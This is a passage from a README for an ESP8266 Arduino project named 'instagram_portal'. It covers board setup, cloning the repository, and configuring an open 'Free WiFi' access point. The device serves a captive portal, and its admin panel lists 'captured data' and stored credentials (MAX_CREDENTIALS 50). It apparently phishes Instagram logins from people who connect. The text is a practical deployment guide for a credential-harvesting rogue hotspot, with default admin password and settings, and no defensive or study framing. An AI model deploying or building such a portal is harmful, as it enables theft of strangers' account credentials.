   http://arduino.esp8266.com/stable/package_esp8266com_index.json

2. Required Libraries

   • Go to Tools > Manage Libraries
   • Install all required libraries listed above

3. ESP8266 Configuration

   • Board: "NodeMCU 1.0 (ESP-12E Module)"
   • Upload Speed: "115200"
   • CPU Frequency: "80 MHz"
   • Flash Size: "4MB (FS:2MB OTA:~1019KB)"

🚀 Quick Start

1. Clone this repository

   git clone https://github.com/caronero/instagram_portal.git

2. Open instagram_portal.ino in Arduino IDE
3. Configure your settings in the code:

   const char* ssid = "Free WiFi";            // Change network name
   const char* admin_password = "your_pass";   // Change admin password

4. Upload to your ESP8266
5. Power on your device

📱 Usage Instructions

1. Initial Setup

   • Power on the ESP8266
   • Look for "Free WiFi" network
   • Connect to the network

2. Access Points

   • Main Portal: http://192.168.4.1
   • Admin Panel: http://192.168.4.1/admin
   • Default Password: zaid46

3. Admin Dashboard Features

   • View captured data
   • Monitor active connections
   • System statistics
   • Real-time logs

⚙️ Configuration Options

// Network Configuration
const char* ssid = "Free WiFi";              // WiFi Network Name
const char* admin_password = "zaid46";       // Admin Panel Password
const IPAddress apIP(192, 168, 4, 1);       // Portal IP Address
const byte DNS_PORT = 53;                    // DNS Port

// Storage Configuration
#define MAX_CREDENTIALS 50                   // Maximum stored entries

🔍 Troubleshooting

Common issues and solutions:

Issue	Solution
Device not broadcasting	Check power supply
